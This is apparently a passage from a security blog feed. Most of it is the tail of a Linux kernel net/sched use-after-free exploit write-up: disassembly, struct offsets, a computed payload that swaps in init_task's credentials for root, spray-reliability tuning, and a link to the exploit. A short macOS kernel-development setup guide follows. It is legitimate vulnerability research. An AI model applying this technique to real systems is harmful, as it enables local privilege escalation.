&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;s_fs_info&lt;/code&gt; sits at offset 848 == 0x350.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;asm&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8250&lt;/span&gt;&lt;span&gt;]&amp;gt; pD &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;56&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;╭ const struct cred *sym.ovl_override_creds(struct super_block *sb)&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8250&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      endbr64&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                            ; util.c:66 {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8254&lt;/span&gt;&lt;span&gt;      callq   sym.__fentry&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8259&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;    0x350&lt;/span&gt;&lt;span&gt;(%&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rdi&lt;/span&gt;&lt;span&gt;), %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rax&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;          ; util.c:67 struct ovl_fs *ofs = OVL_FS(sb);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8260&lt;/span&gt;&lt;span&gt;      pushq   %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rbp&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                       ; util.c:66 {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8261&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;    0x78&lt;/span&gt;&lt;span&gt;(%&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rax&lt;/span&gt;&lt;span&gt;), %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rcx&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;           ; util.c:69 return override_creds(ofs-&amp;gt;creator_cred);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8265&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span&gt;    obj.current_task, %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rax&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;     ; current.h:20 static __always_inline struct task_struct *get_current(void)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c826d&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span&gt;    %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rsp&lt;/span&gt;&lt;span&gt;, %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rbp&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                 ; util.c:66 {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8270&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;    0x7c8&lt;/span&gt;&lt;span&gt;(%&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rax&lt;/span&gt;&lt;span&gt;), %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rdx&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;          ; cred.h:183 return rcu_replace_pointer(current-&amp;gt;cred, override_cred, 1);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8277&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span&gt;    %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rcx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0x7c8&lt;/span&gt;&lt;span&gt;(%&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rax&lt;/span&gt;&lt;span&gt;)          &lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;; current.h:20 static __always_inline struct task_struct *get_current(void)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c827e&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span&gt;    %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rdx&lt;/span&gt;&lt;span&gt;, %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rax&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                 ; util.c:70 }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│           &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8281&lt;/span&gt;&lt;span&gt;      popq    %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rbp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;╰       ╭─&amp;lt; &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8282&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      jmp&lt;/span&gt;&lt;span&gt;     loc.__pi___x86_return_thunk &lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;; loc.__pi___x86_return_thunk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        │   &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8287&lt;/span&gt;&lt;span&gt;      invalid&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;movq    0x350(%rdi), %rax&lt;/code&gt;: &lt;code&gt;%rax = *(uintptr_t *)(%rdi + 0x350) == ofs&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C ovl_fs vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; ovl_fs &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;	const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; cred &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;creator_cred&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;         /*   120     8 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;movq    0x78(%rax), %rcx&lt;/code&gt;: &lt;code&gt;%rcx = *(uintptr_t *)(%rax + 0x78) == ofs-&amp;gt;creator_cred&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;movq    obj.current_task, %rax&lt;/code&gt;: loads the current CPU’s &lt;code&gt;struct task_struct *&lt;/code&gt; into &lt;code&gt;%rax&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C task_struct vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; task_struct &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;	const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; cred &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;cred&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                 /*  1992     8 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;cred&lt;/code&gt; sits at offset 1992 == 0x7c8.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;movq    %rcx, 0x7c8(%rax)&lt;/code&gt;: &lt;code&gt;*(uintptr_t *)(%rax + 0x7c8) == task_struct-&amp;gt;cred = %rcx == ofs-&amp;gt;creator_cred&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%rdi&lt;/code&gt; is the &lt;code&gt;Reclaim Object&lt;/code&gt;; the goal is &lt;code&gt;*(*(%rdi + 0x350) + 0x78) = init_task.cred&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First, work out where &lt;code&gt;*(%rdi + 0x350)&lt;/code&gt; lands within &lt;code&gt;data&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x350 % 256 = 80&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;80 - 24 = 56&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;*(%rdi + 0x350)&lt;/code&gt; overlaps &lt;code&gt;data[56]&lt;/code&gt; — but not of this &lt;code&gt;Reclaim Object&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x350 / 256 = 3&lt;/code&gt;, so &lt;code&gt;*(%rdi + 0x350)&lt;/code&gt; lands in memory starting at &lt;code&gt;Reclaim Object&lt;/code&gt; + 3 * 256 — which is not necessarily a kmalloc-256 slab slot; it could be a buddy-allocator free page or something else.&lt;/p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;This requires &lt;code&gt;Reclaim Object&lt;/code&gt; + 3 * 256 to also be a sprayed &lt;code&gt;struct user_key_payload&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This significantly reduces exploit reliability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;kmalloc-256 slab block-beta:&lt;/p&gt;
&lt;noscript&gt;
    &lt;strong&gt;⚠️ JavaScript is required to render the diagram.&lt;/strong&gt;
&lt;/noscript&gt;
&lt;pre class=&quot;mermaid invertible-image&quot;&gt;
block-beta
    columns 5

    space UAF[&quot;UAF&quot;] space:3

    space P0[&quot;sprayed user_key_payload&quot;] space:2 P3[&quot;sprayed user_key_payload&quot;]

    slab[&quot;kmalloc-256 slab&quot;] p0[&quot;[0]&quot;] p1[&quot;[1]&quot;] p2[&quot;[2]&quot;] p3[&quot;[3]&quot;]
&lt;/pre&gt;
&lt;p&gt;Solve the equation &lt;code&gt;*(data[56] + 0x78) = init_task.cred&lt;/code&gt; for &lt;code&gt;data[56]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;*(data[56] + 0x78) = init_task.cred&lt;/code&gt; = &lt;code&gt;data[56] + 0x78 = &amp;amp;init_task.cred&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;data[56] + 0x78 = &amp;amp;init_task.cred&lt;/code&gt; = &lt;code&gt;data[56] = &amp;amp;init_task.cred - 0x78&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;data[56] = &amp;amp;init_task.cred - 0x78&lt;/code&gt; = &lt;code&gt;data[56] = &amp;amp;init_task + 1992 - 0x78&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-30&quot;&gt;0x&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;ffffffff818c8250&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; is&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;~&lt;/span&gt;&lt;span&gt;init_task&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-33&quot;&gt;160018&lt;/span&gt;&lt;span class=&quot;z-30&quot;&gt; 0x&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;01e0aa00&lt;/span&gt;&lt;span class=&quot;z-30&quot;&gt; 0x&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;ffffffff82c0aa00&lt;/span&gt;&lt;span&gt; GLOBAL OBJ    &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;3264&lt;/span&gt;&lt;span&gt;       init_task&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;init_task&lt;/code&gt;’s address, found with rizin.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;data[56] = 0xffffffff82c0aa00 + 1992 - 0x78&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;improving-reliability&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#improving-reliability&quot; aria-label=&quot;Anchor link for: improving-reliability&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Improving Reliability&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This requires the &lt;code&gt;Reclaim Object&lt;/code&gt; and another sprayed &lt;code&gt;struct user_key_payload&lt;/code&gt; to have been added to the list one after the other before &lt;code&gt;act-&amp;gt;ops&lt;/code&gt; is dereferenced.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This barely affects exploit reliability: the action release path never calls &lt;code&gt;call_rcu()&lt;/code&gt;, leaving only the high-frequency &lt;code&gt;call_rcu()&lt;/code&gt; calls from the &lt;code&gt;struct user_key_payload&lt;/code&gt; spraying, which almost completely drowns out system noise.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This requires &lt;code&gt;Reclaim Object&lt;/code&gt; + 3 * 256 to also be a sprayed &lt;code&gt;struct user_key_payload&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is what actually affects exploit reliability. There are two cases.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Reclaim Object + 3 * 256&lt;/code&gt; is a kmalloc-256 slab slot.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The high-frequency action allocations and the high-frequency &lt;code&gt;struct user_key_payload&lt;/code&gt; allocations compete in the same slab cache.&lt;/p&gt;
&lt;p&gt;In this case the &lt;code&gt;struct user_key_payload&lt;/code&gt; allocation rate must exceed the action allocation rate, and it’s best to allocate several in a row each time.&lt;/p&gt;
&lt;p&gt;Call &lt;code&gt;sched_yield()&lt;/code&gt; before the spray starts, to give up the CPU, so the spray runs for a full time slice and sprays many &lt;code&gt;struct user_key_payload&lt;/code&gt; back to back.&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;code&gt;Reclaim Object + 3 * 256&lt;/code&gt; is a free page in the buddy allocator.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this case the rate at which buddy free pages are refilled into the kmalloc-256 slab must be increased — i.e. spray even more frequently.&lt;/p&gt;
&lt;p&gt;On idle CPUs, spray &lt;code&gt;struct user_key_payload&lt;/code&gt; at full speed, keeping only the spray code in the loop.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;================================================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Summary&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;================================================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Total runs:      10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Successes:       9&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Failures:        1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Avg time:        2358.819 ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Min time:        68.026 ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Max time:        6880.593 ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Success rate:    90.00%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;================================================&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the optimizations, ten consecutive runs achieve a success rate of roughly 80% to 90%, averaging about 3 seconds each.&lt;/p&gt;
&lt;p&gt;The code is on &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/CVE-2026-53264&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;references&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#references&quot; aria-label=&quot;Anchor link for: references&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
References&lt;/h2&gt;
&lt;div class=&quot;references&quot;&gt;
    &lt;p&gt;Lee, J. J. (2026). When AI Makes 0-Days Feel Like N-Days. &lt;em&gt;STAR LABS SG PTE. LTD.&lt;/em&gt; &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/&quot;&gt;https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Konovalov, A. (2024). SLUB Internals for Exploit Developers. &lt;em&gt;xairy.io&lt;/em&gt;. &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://static.sched.com/hosted_files/lsseu2024/37/2024%2C%20LSS%20EU_%20SLUB%20Internals%20for%20Exploit%20Developers.pdf&quot;&gt;https://static.sched.com/hosted_files/lsseu2024/37/2024%2C%20LSS%20EU_%20SLUB%20Internals%20for%20Exploit%20Developers.pdf&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Zeng, K. (2022). Playing for K(H)eaps: Understanding and Improving Linux Kernel Exploit Reliability. &lt;em&gt;USENIX Security Symposium&lt;/em&gt;. &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.usenix.org/conference/usenixsecurity22/presentation/zeng&quot;&gt;https://www.usenix.org/conference/usenixsecurity22/presentation/zeng&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;bcoles. (2026). KASLD defeats Linux kernel KASLR from a local process — recovering the virtual and physical memory layout where a leak or side channel allows, and narrowing it to the smallest set of placements the evidence supports otherwise. &lt;em&gt;github.com&lt;/em&gt;. &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/bcoles/kasld&quot;&gt;https://github.com/bcoles/kasld&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
</content>
        <summary type="html">Linux Kernel net/sched: act_api UAF Vulnerability Exploitation.</summary>
        </entry><entry xml:lang="en">
        <title>Linux Kernel Development and Debugging on macOS</title>
        <published>2025-06-02T00:00:00+00:00</published>
        <updated>2025-06-03T00:00:00+00:00</updated>
        <author>
            <name>b1n</name>
        </author>
        <link rel="alternate" href="https://b1n.io/blog/linux-kernel-development-and-debugging-on-macos/" type="text/html"/>
        <id>https://b1n.io/blog/linux-kernel-development-and-debugging-on-macos/</id>
        
            <content type="html">&lt;p&gt;I use a MacBook Pro with &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Apple_silicon&quot;&gt;Apple silicon&lt;/a&gt; and cross-compile the x86_64 kernel through a Linux VM, while all development and debugging happens natively on macOS. Linux Kernel VRED (Vulnerability Research and Exploit Development) usually doesn’t modify kernel code, so frequent rebuilds aren’t needed.&lt;/p&gt;
&lt;h2 id=&quot;create-disk-image&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#create-disk-image&quot; aria-label=&quot;Anchor link for: create-disk-image&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Create Disk Image&lt;/h2&gt;
&lt;p&gt;Linux kernel development requires a case-sensitive filesystem. The macOS filesystem is case-insensitive by default — follow &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://support.apple.com/guide/disk-utility/create-a-disk-image-dskutl11888/22.6/mac/15.0&quot;&gt;Create a blank disk image for storage&lt;/a&gt; to create a blank case-sensitive disk image.&lt;/p&gt;
&lt;p&gt;Mount the image you created and clone the Linux Kernel repository into it. Mounted images show up under &lt;code&gt;/Volumes&lt;/code&gt; by default.&lt;/p&gt;
&lt;h2 id=&quot;create-linux-vm&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#create-linux-vm&quot; aria-label=&quot;Anchor link for: create-linux-vm&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Create Linux VM&lt;/h2&gt;
&lt;p&gt;I use the &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.parallels.com&quot;&gt;Parallels Desktop&lt;/a&gt; hypervisor to create a &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.debian.org&quot;&gt;Debian&lt;/a&gt; VM; &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://mac.getutm.app&quot;&gt;UTM&lt;/a&gt; also works and is open source and free.&lt;/p&gt;
&lt;p&gt;Install the Debian packages:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; apt update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; apt install build-essential crossbuild-essential-amd64 bc bison flex libncurses-dev libelf-dev libssl-dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; apt install debootstrap qemu-user-static&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; # syzkaller create-image.sh required&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Share the case-sensitive disk with the VM. Parallels Tools must be installed inside the VM, otherwise the shared disk won’t be mounted automatically. It auto-mounts under &lt;code&gt;/media/psf&lt;/code&gt; by default.&lt;/p&gt;
&lt;h2 id=&quot;compile&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#compile&quot; aria-label=&quot;Anchor link for: compile&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Compile&lt;/h2&gt;
&lt;p&gt;Set the environment variables needed for cross-compiling:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; ARCH&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; CROSS_COMPILE&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;x86_64-linux-gnu-&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; CC&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;x86_64-linux-gnu-gcc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Generate the default kernel config with &lt;code&gt;make defconfig&lt;/code&gt;, then edit the &lt;code&gt;.config&lt;/code&gt; file to enable the following kernel config options:&lt;/p&gt;
